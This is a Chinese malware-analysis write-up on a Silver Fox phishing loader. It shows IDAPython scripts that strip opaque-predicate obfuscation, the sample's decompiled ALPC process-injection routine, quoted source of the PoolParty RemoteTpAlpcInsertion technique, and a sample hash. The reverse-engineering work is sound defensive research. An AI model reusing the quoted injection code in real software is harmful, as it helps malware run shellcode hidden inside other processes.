背景

笔者最近一直在关注银狐的攻击,发现有一类的银狐变化特别快,而且还特别活跃。相信各位师傅看过这样子的银狐钓鱼:2026年第一季度违规内职人员名单信息公告.exe,这个团伙现在的加载器已经是多次迭代的,近期主要在混淆方面进行迭代,增加了混淆后,又不好分析,ida还容易崩,单步调试好一会,找到关键函数却眼前一黑,密密麻麻的基本块糊在一起,文章会着重分析如何减轻垃圾代码的影响。

详细分析

其实对这种混淆,可以直接打断点,针对关键API调用进行动态调试,花点时间也能分析出来。笔者是犟种,就是要看看这混淆代码下是怎么个事。不过先不急,最近这批样本也迭代了一波,不会ida开屏就看到混淆代码了,多加了一层解密,找一个比较新的样本(8cd23d5552c846482cefa3a0344928e924312416a9ac6f1b9f2e6a1f05ae13f2),来看看怎么个事。

最开始会简单检测一下调试器,检测到就退出程序

然后进入解密,ZwProtectVirtualMemory修改内存属性后异或解密,解密的数据位于.text段,属于编译后处理的数据。

我们转入到解密后的代码中,函数的调用是间接调用的,这里就不过多说明,分析关键代码,开始遍历所有服务找到计划任务的服务进程pid,为后续注入做准备。

然后风格突变,起手看到流程图中基础块挤成一片。

查看伪代码有大量的计算过程,这是虚假控制流 (Bogus Control Flow, BCF)中的不透明谓词 (Opaque Predicate),常见的混淆方式。

我们要做的是利用IDA 的“死代码消除”(DCE)功能,让这些代码在ida中的分析被识别为确定值计算,ida就能在展示分析结果时把不会执行的代码去除,如

if([变量]!=[变量]){
    code
    ......
}

变成

if([常量]!=[常量]){
    code
    ......
}

这批代码中有两种固定值被设计成变量,如sub_14008E740,将常量藏在函数中使得ida无法计算。

char sub_14008E740()
{
  return 6;
}

#汇编代码
; char sub_14008E740()
sub_14008E740 proc near
mov     al, 6
retn
sub_14008E740 endp

还有大量的全局变量如byte_1400BE9C0,声明为char类型,有初始值,查看交叉引用,全部为读取没有写入,实则是常量。

以这两个作为切入点,直接用AI写ipython脚本替换所有call 返回常量的函数的指令为mov al,立即数,如

call sub_14008E740 => mov al, 6,剩余字节用nop替代,char byte_1400BE9C0就修改定义变成常量const char byte_1400BE9C0,用AI来写这个ipython脚本,先要对返回常量的函数进行识别,后续发现mov al, 0实际代码会是xor al,al,需要再额外处理。

def is_simple_constant_function(func_ea):
    """
    检查函数是否为简单的返回常量函数:mov al, 常量; ret
    """
    try:
        # 获取函数结束地址
        func_end = idc.get_func_attr(func_ea, idc.FUNCATTR_END)
        
        # 遍历函数指令
        current = func_ea
        instructions = []
        
        while current < func_end:
            # 解码指令
            insn = ida_ua.insn_t()
            insn_len = ida_ua.decode_insn(insn, current)
            if insn_len == 0:
                break
            
            # 收集指令信息
            mnem = idc.print_insn_mnem(current)
            op1 = idc.print_operand(current, 0)
            op2 = idc.print_operand(current, 1)
            instructions.append((current, mnem, op1, op2))
            
            current += insn_len
        
        # 检查指令模式
        if len(instructions) == 2:
            # 第一条指令:mov al, 常量
            if (instructions[0][1] == "mov" and 
                instructions[0][2] in ["al", "AL", "eax", "EAX", "ax", "AX"] and
                instructions[0][3].isdigit() and 0 <= int(instructions[0][3]) <= 9):
                # 第二条指令:ret
                if instructions[1][1] in ["retn", "ret"]:
                    return True, int(instructions[0][3])
            # 第一条指令:xor al,al
            elif (instructions[0][1] == "xor" and 
                instructions[0][2] in ["al", "AL", "eax", "EAX", "ax", "AX"] and
                instructions[0][3] in ["al", "AL", "eax", "EAX", "ax", "AX"]):
                
                if instructions[1][1] in ["retn", "ret"]:
                    return True, int(0)
    except Exception as e:
        print(f"检查函数 {hex(func_ea)} 时出错: {e}")
    
    return False, None

后续只需要对识别为目标函数的直接调用替换成赋值指令。

def patch_call_instruction(call_addr, const_value):
    """
    将调用指令替换为 mov al, 常量
    """
    try:
        # 解码当前调用指令
        insn = ida_ua.insn_t()
        insn_len = ida_ua.decode_insn(insn, call_addr)
        
        if insn_len == 0:
            return False
        
        # 计算新指令长度
        # mov al, 常量 通常是2字节(B0 + 常量值)
        new_insn_len = 2
        
        # 如果需要保持代码长度不变(可选)
        if new_insn_len < insn_len:
            # 用NOP填充剩余字节
            nop_count = insn_len - new_insn_len
        else:
            nop_count = 0
        
        # 构造新指令:mov al, 常量
        new_insn_bytes = bytes([0xB0, const_value])  # B0 = mov al, immediate
        
        # 写入新指令
        ida_bytes.patch_bytes(call_addr, new_insn_bytes)
        
        # 填充NOP(如果需要)
        for i in range(new_insn_len, insn_len):
            ida_bytes.patch_byte(call_addr + i, 0x90)  # 0x90 = NOP
        
        # 重新分析代码
        #idc.analyze_area(call_addr, call_addr + insn_len)
        
        # 添加注释
        idc.set_cmt(call_addr, f"内联优化: mov al, {const_value}", 0)
        
        return True
        
    except Exception as e:
        print(f"修补指令 {hex(call_addr)} 时出错: {e}")
        return False

执行脚本完成第一步patch。

现在的伪代码还有大量全局变量混在其中,需要去修改成常量。

处理后的代码还是有点长,但已经初具人形了,能够阅读了,取一段出来,可以看到是一个解密算法,把无关赋值操作去掉,化简得到实际的解密算法长这样v13[i] = (i - 111) + v13[i] - 2 * ((i - 111) & v13[i]),通过观察每个字符串的key是(i+-[随机数]),很容易就能编写出解密的脚本。

v30 = (_BYTE *)sub_14000F720(v11, v321); //获取加密数据
if ( !*v30 )
{
    v13 = v30 + 1;
    for ( i = 0; (unsigned __int64)i < 8; ++i )
        {
            v288 = (double)(i - 111);
            v289 = v288 * ((double)7 - (double)3 * 2.0);
            v18 = (int)(v289 * (double)1);
            v290 = v288;
            v291 = v289;
            v19 = v18; // v18最终就是(i - 111)
            v13[i] = v18 + v13[i] - 2 * (v18 & v13[i]); //解密 v13是密文
            //v13[i] = (i - 111) + v13[i] - 2 * ((i - 111) & v13[i]);
        }
}
*v30 = 1;
v308 = v30 + 1;
GetModuleFileNameA(0i64, Filename, 0x104u);

同时通过去混淆很快就能定位到关键调用。

去混淆后的代码再经过手动化简,提取出关键的注入代码流程,是一个alpc注入的过程。

__int64 sub_1400688E0()
{
  ...
  if ( v77 > 0 )
  {
    ...
  }
  else
  {
LABEL_54:
    v943 = 0LL;
    v1015[1] = TpAllocAlpcCompletion;
    v54 = ((__int64 (__fastcall *)(__int64 *, _QWORD, const __int64, _QWORD, _QWORD))TpAllocAlpcCompletion)(
            &v943,
            v1015[0],
            callback_address_1400BE9B8,
            0LL,
            0LL);
    v940 = v54 < 0;
    v1016 = (double)v940 * ((double)7 - (double)3 * 2.0);
    v80 = (int)(v1016 * (double)1);
    if ( !v80 )
      goto LABEL_57;
    v1017 = (double)1;
    v1018 = (double)1 * ((double)7 - (double)3 * 2.0);
    v81 = (int)(v1018 * (double)1);
    result = (unsigned int)v81;
    if ( v81 > 0 )
    {
    }
    else
    {
LABEL_57:
      v945[0] = 6;
      v945[1] = 6;
      v946 = v1019;
      memset(v1064, 0, sizeof(v1064));
      LODWORD(v1064[0]) = 48;
      v1064[2] = v945;
      memset(v1068, 0, 0x48uLL);
      LODWORD(v1068[0]) = 0x20000;
      v1068[2] = 328LL;
      v1020 = NtAlpcCreatePort;
      v54 = ((__int64 (__fastcall *)(_QWORD *, _QWORD *, _QWORD *))NtAlpcCreatePort)(v1049, v1064, v1068);
      v942 = v54 < 0;
      v1021 = (double)v942 * ((double)7 - (double)3 * 2.0);
      v84 = (int)(v1021 * (double)1);
      if ( !v84 )
        goto LABEL_60;
      v1022 = (double)1;
      v1023 = (double)1 * ((double)7 - (double)3 * 2.0);
      v85 = (int)(v1023 * (double)1);
      result = (unsigned int)v85;
      if ( v85 > 0 )
      {
      }
      else
      {
LABEL_60:
        memset(&v24, 0, sizeof(v24));
        memset(&v25, 0, sizeof(v25));
        ...
        *(_BYTE *)v115 = 1;
        v1032 = (LPCSTR)(v115 + 1);
        ...
        *(_BYTE *)v116 = 1;
        v1033 = LoadLibraryA((LPCSTR)(v116 + 1));
        VirtualAllocEx = GetProcAddress(v1033, v1032);
        memset(&v26, 0, sizeof(v26));
        memset(&v27, 0, sizeof(v27));
        ...
        *(_BYTE *)v117 = 1;
        v1042 = (LPCSTR)(v117 + 1);
        ...
        *(_BYTE *)v118 = 1;
        v1043 = LoadLibraryA((LPCSTR)(v118 + 1));
        WriteProcessMemory = GetProcAddress(v1043, v1042);
        v1045 = VirtualAllocEx;
        v944 = ((__int64 (__fastcall *)(const __int64, _QWORD, __int64, __int64, int))VirtualAllocEx)(
                 process_handle_1400BE9B0,
                 0LL,
                 296LL,
                 12288LL,
                 4);
        v1047 = WriteProcessMemory;
        ((void (__fastcall *)(const __int64, __int64, __int64, __int64, _QWORD))WriteProcessMemory)(
          process_handle_1400BE9B0,
          v944,
          v943,
          296LL,
          0LL);
        memset(v1057, 0, sizeof(v1057));
        v1057[0] = v944;
        v1057[1] = sub_14005E660(process_handle_1400BE9B0);
        v1049[1] = NtAlpcSetInformation;
        ((void (__fastcall *)(_QWORD, __int64, _QWORD *, __int64))NtAlpcSetInformation)(v1049[0], 2LL, v1057, 16LL);
        memset(v1070, 0, sizeof(v1070));
        v1070[0] = 48;
        memset(&v28, 0, sizeof(v28));
        v119 = (_BYTE *)sub_14000DF20(&v28, v1071);
        if ( !*v119 )
        {
          v53 = v119 + 1;
          for ( i7 = 0; (unsigned __int64)i7 < 0x10; ++i7 )
          {
            v1050 = (double)(i7 + 47);
            v1051 = v1050 * ((double)7 - (double)3 * 2.0);
            v96 = (int)(v1051 * (double)1);
            v1052 = v1050;
            v1053 = v1051;
            v97 = v96;
            v53[i7] = v96 + v53[i7] - 2 * (v96 & v53[i7]);
          }
        }
        *v119 = 1;
        v1054 = v119 + 1;
        memset(&v1079[1], 0, 0x40EuLL);
        v1079[0] = 8;
        v1079[1] = 48;
        qmemcpy(&v1079[20], v119 + 1, 0x3E8uLL);
        v1056[0] = 1040LL;
        v938 = -10000000LL;
        v1056[1] = NtAlpcConnectPort;
        return ((__int64 (__fastcall *)(char *, _WORD *, _DWORD *, _QWORD *, int, _QWORD, _WORD *, _QWORD *, _QWORD, _QWORD, __int64 *))NtAlpcConnectPort)(
                 v1058,
                 v945,
                 v1070,
                 v1068,
                 0x20000,
                 0LL,
                 v1079,
                 v1056,
                 0LL,
                 0LL,
                 &v938);
      }
    }
  }
  return result;
}

进一步分析验证,这份注入的代码与poolparty的RemoteTpAlpcInsertion一一对应,后续就是自我删除和shellcode的流程,这里就详细分析了,笔者看了下与以往的攻击链并无过多差距。

void RemoteTpAlpcInsertion::SetupExecution() const
{
    /* We can not re-set the ALPC object IO completion port, so we create a temporary ALPC object that will only be used to allocate a TP_ALPC structure */
    const auto hTempAlpcConnectionPort = w_NtAlpcCreatePort(nullptr, nullptr);
    BOOST_LOG_TRIVIAL(info) << boost::format("Created a temporary ALPC port: %d") % hTempAlpcConnectionPort;


    const auto pTpAlpc = w_TpAllocAlpcCompletion(hTempAlpcConnectionPort, static_cast<PTP_ALPC_CALLBACK>(m_ShellcodeAddress), nullptr, nullptr);
    BOOST_LOG_TRIVIAL(info) << "Created TP_ALPC structure associated with the shellcode";

    UNICODE_STRING usAlpcPortName = INIT_UNICODE_STRING(POOL_PARTY_ALPC_PORT_NAME);

    OBJECT_ATTRIBUTES AlpcObjectAttributes{ 0 };
    AlpcObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
    AlpcObjectAttributes.ObjectName = &usAlpcPortName;

    ALPC_PORT_ATTRIBUTES AlpcPortAttributes{ 0 };
    AlpcPortAttributes.Flags = 0x20000;
    AlpcPortAttributes.MaxMessageLength = 328;

    const auto hAlpcConnectionPort = w_NtAlpcCreatePort(&AlpcObjectAttributes, &AlpcPortAttributes);
    BOOST_LOG_TRIVIAL(info) << boost::format("Created pool party ALPC port `%s`: %d") % g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME) % hAlpcConnectionPort;
    
    const auto pRemoteTpAlpc = static_cast<PFULL_TP_ALPC>(w_VirtualAllocEx(*m_p_hTargetPid, sizeof(FULL_TP_ALPC), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
    BOOST_LOG_TRIVIAL(info) << boost::format("Allocated TP_ALPC memory in the target process: %p") % pRemoteTpAlpc;
    w_WriteProcessMemory(*m_p_hTargetPid, pRemoteTpAlpc, pTpAlpc, sizeof(FULL_TP_ALPC));
    BOOST_LOG_TRIVIAL(info) << "Written the specially crafted TP_ALPC structure to the target process";

    ALPC_PORT_ASSOCIATE_COMPLETION_PORT AlpcPortAssociateCopmletionPort{ 0 };
    AlpcPortAssociateCopmletionPort.CompletionKey = pRemoteTpAlpc;
    AlpcPortAssociateCopmletionPort.CompletionPort = *m_p_hIoCompletion;
    w_NtAlpcSetInformation(hAlpcConnectionPort, AlpcAssociateCompletionPortInformation, &AlpcPortAssociateCopmletionPort, sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT));
    BOOST_LOG_TRIVIAL(info) << boost::format("Associated ALPC port `%s` with the IO completion port of the target process worker factory") % g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME);

    OBJECT_ATTRIBUTES AlpcClientObjectAttributes{ 0 };
    AlpcClientObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);

    const std::string Buffer = POOL_PARTY_POEM;
    const auto BufferLength = Buffer.length();

    ALPC_MESSAGE ClientAlpcPortMessage{ 0 };
    ClientAlpcPortMessage.PortHeader.u1.s1.DataLength = BufferLength;
    ClientAlpcPortMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + BufferLength;
    std::copy(Buffer.begin(), Buffer.end(), ClientAlpcPortMessage.PortMessage);
    auto szClientAlpcPortMessage = sizeof(ClientAlpcPortMessage);

    /* NtAlpcConnectPort would block forever if not used with timeout, we set timeout to 1 second */
    LARGE_INTEGER liTimeout{ 0 };
    liTimeout.QuadPart = -10000000;

    w_NtAlpcConnectPort(
        &usAlpcPortName,
        &AlpcClientObjectAttributes,
        &AlpcPortAttributes,
        0x20000,
        nullptr,
        (PPORT_MESSAGE)&ClientAlpcPortMessage,
        &szClientAlpcPortMessage,
        nullptr,
        nullptr,
        &liTimeout);
    BOOST_LOG_TRIVIAL(info) << boost::format("Connected to ALPC port `%s` to queue a packet to the IO completion port of the target process worker factory") % g_WideString_Converter.to_bytes(POOL_PARTY_ALPC_PORT_NAME);
}

IOCs

母体文件

8cd23d5552c846482cefa3a0344928e924312416a9ac6f1b9f2e6a1f05ae13f2